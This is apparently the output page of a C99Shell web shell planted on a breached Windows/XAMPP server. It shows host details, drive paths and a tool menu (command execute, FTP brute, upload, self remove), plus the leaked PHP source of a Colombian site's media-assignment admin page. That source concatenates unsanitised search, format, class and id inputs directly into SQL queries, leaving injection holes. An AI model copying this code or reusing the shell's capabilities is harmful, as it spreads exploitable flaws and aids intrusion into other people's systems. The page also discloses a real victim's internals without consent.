!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\portel_dama\administracion\formas\   drwxrwxrwx
Free 8.79 GB of 239.26 GB (3.68%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     contenido_foto_y_medios_asignacion_window.php (22.11 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $ia 
= isset($accion);
    if (
$ia == false) {
        
$accion "x";
    }
    include(
'setup_administracion.php');
    include(
'../clases_herramientas/include_acciones.php');
    include(
'pass.php');
    
$id_app 7;
?> 
<link href="<?php echo $archivo_css?>" rel="stylesheet" type="text/css">
<title><?php echo $nombre_pagina?></title>
<script language="JavaScript" type="text/JavaScript">
<!--


function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
</script>
<body bgcolor="<?php echo $color_fondo?>" leftmargin="0" topmargin="0">
<table width="100%" border="0" cellspacing="0" cellpadding="10">
  <tr> 
    <td bgcolor="<?php echo $color_fondo_cuerpo?>"><table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
        <?php if ($accion == 50) { ?>
        <tr> 
          <td><form name="form4" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td align="left"><strong>Seleccionar un tipo de Medios.</strong></td>
                </tr>
                <tr> 
                  <td width="50%" align="center"> <select name="accion">
                      <option value="8">Documentos</option>
                      <option value="9">Imágenes</option>
                      <option value="10">Películas</option>
                    </select> <input type="submit" name="Submit22" value="Ir..."> 
                    <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="id_app" value="<?php 
                    
if ($t==0) {
                        if (isset(
$id)) {$id=$id;}
                        echo 
$links_id
                    }
                    if (
$t==1) {
                        if (isset(
$id)) {$id=$id;}
                        echo 
$categoria_id
                    }                    
                    
?>"> <input name="t" type="hidden" id="t" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"> 
                  </td>
                </tr>
              </table>
            </form></td>
        </tr>
        <?php ?>
        <?php 
        
if ($accion == "8") { ?>
        <tr> 
          <td><table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
              <tr> 
                <td bgcolor="#9900FF"><strong><font color="#FFFFFF">Asignar Documentos 
                  a un Contenido</font></strong></td>
              </tr>
            </table></td>
        </tr>
        <tr> 
          <td> <form name="form2" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td align="center"> 
                    <input name="foto_buscar" type="buscar" value="buscar..."> 
                    <input type="submit" name="Submit33" value="Ir..."> <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="id_app" value="<?php echo $id?>"> 
                    <input name="t" type="hidden" id="id_app" value="<?php echo $t?>"> 
                    <input name="accion" type="hidden" id="accion" value="8"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>">
                  </td>
                </tr>
              </table>
            </form>
            <form name="form5" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td align="center"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                </tr>
                <tr> 
                  <td align="center">Ver Documento en Formato:</td>
                </tr>
                <tr> 
                  <td align="center"> 
                    <select name="foto_formato" id="select2">
                      <?php $control = new select_v2(8); ?>
                    </select> <input type="submit" name="Submit324" value="Ir..."> 
                    <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="id_app" value="<?php echo $id?>"> 
                    <input name="accion" type="hidden" id="accion" value="8"> 
                    <input name="t" type="hidden" id="t2" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"> 
                  </td>
                </tr>
              </table>
            </form>
            <form action="" method="post" enctype="multipart/form-data" name="form1">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr align="center"> 
                  <td colspan="2"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                </tr>
                <tr align="center"> 
                  <td width="10%" align="right" valign="top">Documentos:</td>
                  <td width="40%" align="left"> 
                    <select name="foto_id" size="8" multiple id="select">
                      <?php
                  $q 
0;
                  if (isset(
$foto_buscar)) {
                      
$q 1;
                    
$cuando "foto_tipo = 1 and (foto_nombre like '%" $foto_buscar "%'" " or foto_descripcion like '%" $foto_buscar "%' or foto_pie like '%" $foto_buscar "%')";
                  }
                  if (isset(
$foto_formato)) {
                      
$q 1;
                    
$cuando "foto_tipo = 1 and foto_formato='" $foto_formato "'";
                  }  
                  if (
$q == 0) {
                      
$cuando "foto_tipo = 1";
                  }
                  
$control = new select_v1(0"foto_id, foto_nombre""contenido_foto_y_medios"$cuando20"(id)-(nombre)""<option value=\"(id)\">(nombre)</option>"""); ?>
                    </select></td>
                </tr>
                <tr align="center"> 
                  <td colspan="2">
<input name="id" type="hidden" id="accion3" value="<?php echo $id?>"> 
                    <input name="accion" type="hidden" id="accion" value="ins_"> 
                    <input type="submit" name="Submit" value="Asignar..."> <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="t" type="hidden" id="t3" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"></td>
                </tr>
                <tr align="center"> 
                  <td colspan="2"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                </tr>
              </table>
            </form></td>
        </tr>
        <?php ?>
        <?php 
        
if ($accion == "10") { ?>
        <tr> 
          <td><table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
              <tr> 
                <td width="25%">&nbsp;</td>
                <td width="50%" bgcolor="#9900FF"><strong><font color="#FFFFFF">Asignar 
                  Pel&iacute;culas a un Contenido</font></strong></td>
                <td width="25%">&nbsp;</td>
              </tr>
            </table></td>
        </tr>
        <tr> 
          <td> <form name="form2" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td width="25%">&nbsp;</td>
                  <td width="50%" align="center"> <input name="foto_buscar" type="buscar" value="buscar..."> 
                    <input type="submit" name="Submit3" value="Ir..."> <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="id_app" value="<?php echo $id?>"> 
                    <input name="t" type="hidden" id="id_app" value="<?php echo $t?>"> 
                    <input name="accion" type="hidden" id="accion" value="10"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"></td>
                  <td width="25%">&nbsp;</td>
                </tr>
              </table>
            </form>
            <form action="" method="post" enctype="multipart/form-data" name="form1">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td>&nbsp;</td>
                  <td colspan="2" align="left" valign="top"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                  <td>&nbsp;</td>
                </tr>
                <tr> 
                  <td>&nbsp;</td>
                  <td width="10%" align="left" valign="top">Pel&iacute;culas:</td>
                  <td width="40%"> <select name="foto_id" size="8" multiple id="select">
                      <?php
                  $q 
0;
                  if (isset(
$foto_buscar)) {
                      
$q 1;
                    
$cuando "foto_tipo = 0 and (foto_nombre like '%" $foto_buscar "%'" " or foto_descripcion like '%" $foto_buscar "%' or foto_pie like '%" $foto_buscar "%')";
                  }
                  if (isset(
$foto_formato)) {
                      
$q 1;
                    
$cuando "foto_tipo = 0 and foto_formato='" $foto_formato "'";
                  }  
                  if (
$q == 0) {
                      
$cuando "foto_tipo = 0 and foto_formato ='swf'";
                  }
                  
$control = new select_v1(0"foto_id, foto_nombre""contenido_foto_y_medios"$cuando20"(id)-(nombre)""<option value=\"(id)\">(nombre)</option>"""); ?>
                    </select></td>
                  <td>&nbsp;</td>
                </tr>
                <tr> 
                  <td width="25%">&nbsp;</td>
                  <td colspan="2" align="center"><input name="id" type="hidden" id="accion3" value="<?php echo $id?>"> 
                    <input name="accion" type="hidden" id="accion" value="ins_"> 
                    <input type="submit" name="Submit" value="Asignar..."> <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="t" type="hidden" id="t3" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"></td>
                  <td width="25%">&nbsp;</td>
                </tr>
                <tr> 
                  <td>&nbsp;</td>
                  <td colspan="2" align="left"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                  <td>&nbsp;</td>
                </tr>
              </table>
            </form></td>
        </tr>
        <?php ?>
        <?php 
        
if ($accion == "9" or $accion =="ins_") { ?>
        <tr> 
          <td><table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
              <tr> 
                <td bgcolor="#9900FF"><strong><font color="#FFFFFF">Asignar Fotos 
                  a un Contenido</font></strong></td>
              </tr>
            </table></td>
        </tr>
        <tr> 
          <td><form name="form6" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td align="center"> 
                    <input name="foto_buscar" type="text" value="Buscar..."> 
                    <input type="submit" name="Submit322" value="Ir..."> <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="links_id" value="<?php echo $id?>"> 
                    <input name="accion" type="hidden" id="accion2" value="9"> 
                    <input name="t" type="hidden" id="t4" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>">
                  </td>
                </tr>
              </table>
            </form>
            <form name="form71" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td>&nbsp;</td>
                  <td colspan="2" align="left"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                  <td>&nbsp;</td>
                </tr>
                <tr> 
                  <td width="25%">&nbsp;</td>
                  <td width="10%" align="right" valign="top">Tipo:</td>
                  <td width="40%"> <select name="foto_clase_id">
                      <?php $control = new select_v1(0"foto_clase_id, foto_clase_nombre""contenido_foto_y_medios_clase""foto_clase_id != 0 order by foto_clase_nombre"20"(id)-(nombre)""<option value=\"(id)\">(nombre)</option>"""); ?>
                    </select> 
                    <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="links_id" value="<?php echo $id?>"> 
                    <input name="accion" type="hidden" id="accion2" value="9"> 
                    <input type="submit" name="Submit323" value="Ir..."> <input name="t" type="hidden" id="t5" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"> 
                  </td>
                  <td width="25%">&nbsp;</td>
                </tr>
              </table>
            </form>
            <form name="form7" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr align="center"> 
                  <td colspan="2"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                </tr>
                <tr> 
                  <td width="10%" align="right" valign="top">Imagen:</td>
                  <td width="40%"> <select name="foto_id" id="select3">
                      <?php 
                $cuando 
"foto_tipo = 0 order by foto_id desc limit 0,100 ";
                
$control = new select_v1(0"foto_id, foto_nombre""contenido_foto_y_medios"$cuando20"(id)-(nombre)""<option value=\"(id)\">(nombre)</option>"""); 
                
?>
                    </select> <input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="links_id" value="<?php echo $id?>"> 
                    <input name="accion" type="hidden" id="accion2" value="9"> 
                    <input type="submit" name="Submit323" value="Ir..."> <input name="t" type="hidden" id="t5" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"> 
                  </td>
                </tr>
              </table>
            </form>
            <form name="form3" method="post" action="">
              <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                <tr> 
                  <td align="left" valign="top"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                </tr>
                <tr> 
                  <td align="left" valign="top">Inicialmente se despliegan las 
                    im&aacute;genes por su secuencia de ingreso, en grupos de 
                    10. Use el buscador o el selector de arriba para acceder a 
                    otras im&aacute;genes espec&iacute;ficas.</td>
                </tr>
                <tr> 
                  <td width="50%" height="270" align="left" valign="top" bgcolor="#CCCCCC"> 
                    <table width="100%" height="275" border="0" cellpadding="8" cellspacing="0" bgcolor="#999999" class="texto">
                      <tr> 
                        <td valign="top"> <div id="Layer1" style="position:absolute; width:520px; height:251px; z-index:1; overflow: auto; visibility: visible;"> 
                            <table width="100%" border="0" cellspacing="0" cellpadding="6" class="texto">
                              <tr> 
                                <?php 
                      $q 
0;
                      
$apendice="";
                      if (isset(
$foto_buscar)) {
                        
$q 1;
                        
$cuando "foto_tipo = 0 and (foto_nombre like '%" $foto_buscar "%'" " or foto_descripcion like '%" $foto_buscar "%' or foto_pie like '%" $foto_buscar "%')";
                        
$apendice $apendice "&foto_buscar=" $foto_buscar;
                        
//$inicio = 0;
                      
}
                      
                      
                      
// Búsqueda Directa por Tipo
                      
if (isset($foto_clase_id)) {
                        
                        if (
$q != 0) {
                            
$cuando $cuando " and foto_clase_id='" $foto_clase_id "'";
                        }else{
                            
$cuando "foto_clase_id='" $foto_clase_id "'";
                        }
                        
$apendice $apendice "&foto_clase_id=" $foto_clase_id;
                        
$q++;
                      } else{
                      
$apendice $apendice;
                      } 
                      
                      
// Búsqueda Directa por ID (nombre)
                      
if (isset($foto_id)) {
                        
                        if (
$q != 0) {
                            
$cuando $cuando " and foto_id='" $foto_id"'";
                        }else{
                            
$cuando "foto_id='" $foto_id"'";
                        }
                        
$apendice $apendice "&foto_id=" $foto_id;
                        
$q++;
                        
$inicio 0;
                      } else{
                      
$apendice $apendice;
                      } 
                      
                      
                      if (
$q == 0) {
                        
$cuando "foto_formato = 'jpg' or foto_formato = 'gif'";
                      }
                      
$cuando $cuando " order by foto_id desc";
                      
$control = new select_pg(3"foto_id, foto_nombre, foto_formato, foto_archivo, foto_tamano, (foto_ancho + 20), (foto_alto + 20)""contenido_foto_y_medios"$cuando710""""""$inicio);
                      
$n_r $control->NUMERO_REGISTROS;
                      
//echo $n_r;
                      //echo $inicio;
                      
if ($inicio <= $n_r) {
                          
$control = new select_pg(1"foto_id, foto_nombre, foto_formato, foto_archivo, foto_tamano, (foto_ancho + 20), (foto_alto + 20)""contenido_foto_y_medios"$cuando710"(id)-(nombre)-(formato)-(archivorz)-(tamano)-(w)-(h)""<100>rz_size<td width=\"25%\"><table width=\"100%\" border=\"0\" class=\"texto\" cellpadding=\"6\" cellspacing=\"0\" bgcolor=\"#999999\"><tr><td align=\"center\"><a href=\"javascript:void(0);\" onclick=\"MM_openBrWindow('imagen.php?img=(archivo)','Imagen','width=(w),height=(h)')\"><img src=\"../../libreria/(archivorz)\"></a></td></tr><tr><td align=\"center\"><input type=\"radio\" name=\"foto_id\" value=\"(id)\">(nombre)</td></tr></table></td>""contenido_foto_y_medios_asignacion_window.php?x_y=$x_y&user=$user&id_app=$id_app&accion=9&id=$id&t=$t$apendice&"$inicio); 
                      }else{
                          
$control = new select_pg(1"foto_id, foto_nombre, foto_formato, foto_archivo, foto_tamano, (foto_ancho + 20), (foto_alto + 20)""contenido_foto_y_medios"$cuando710"(id)-(nombre)-(formato)-(archivorz)-(tamano)-(w)-(h)""<100>rz_size<td width=\"25%\"><table width=\"100%\" border=\"0\" class=\"texto\" cellpadding=\"6\" cellspacing=\"0\" bgcolor=\"#999999\"><tr><td align=\"center\"><a href=\"javascript:void(0);\" onclick=\"MM_openBrWindow('imagen.php?img=(archivo)','Imagen','width=(w),height=(h)')\"><img src=\"../../libreria/(archivorz)\"></a></td></tr><tr><td align=\"center\"><input type=\"radio\" name=\"foto_id\" value=\"(id)\">(nombre)</td></tr></table></td>""contenido_foto_y_medios_asignacion_window.php?x_y=$x_y&user=$user&id_app=$id_app&accion=9&id=$id&t=$t$apendice&"0);    
                      }
                      
?>
                              </tr>
                            </table>
                          </div></td>
                      </tr>
                    </table></td>
                </tr>
                <tr> 
                  <td align="center"><input name="id_app" type="hidden" id="id_app3" value="<?php echo $id_app?>"> 
                    <input name="id" type="hidden" id="links_id" value="<?php echo $id?>"> 
                    <input name="accion" type="hidden" id="accion2" value="ins_"> 
                    <input type="submit" name="Submit2" value="Asignar..."> <input name="t" type="hidden" id="t6" value="<?php echo $t?>"> 
                    <input name="x_y" type="hidden" id="accion" value="<?php echo $uid->UID?>"> 
                    <input name="user" type="hidden" id="accion" value="<?php echo $user?>"> 
                    <input name="t" type="hidden" id="t" value="<?php echo $t?>"> 
                  </td>
                </tr>
                <tr> 
                  <td align="left"><img src="../imagenes/linea_admon.gif" width="397" height="11"></td>
                </tr>
              </table>
            </form></td>
        </tr>
        <?php ?>
      </table></td>
  </tr>
  <tr> 
    <td align="center" bgcolor="<?php echo $color_fondo_pie?>" class="textopequeno"><?php echo $nombre_cliente?><br>
      Todos los Derechos Reservados para NRG<br>
      Bogot&aacute;, Colombia, S.A. <?php echo $ano_vig?><br> <a href="../../documentacion/terminos.htm">Terminos 
      de Uso</a> <strong>I</strong> <a href="../../documentacion/terms.htm">Terms 
      of Use</a></td>
  </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--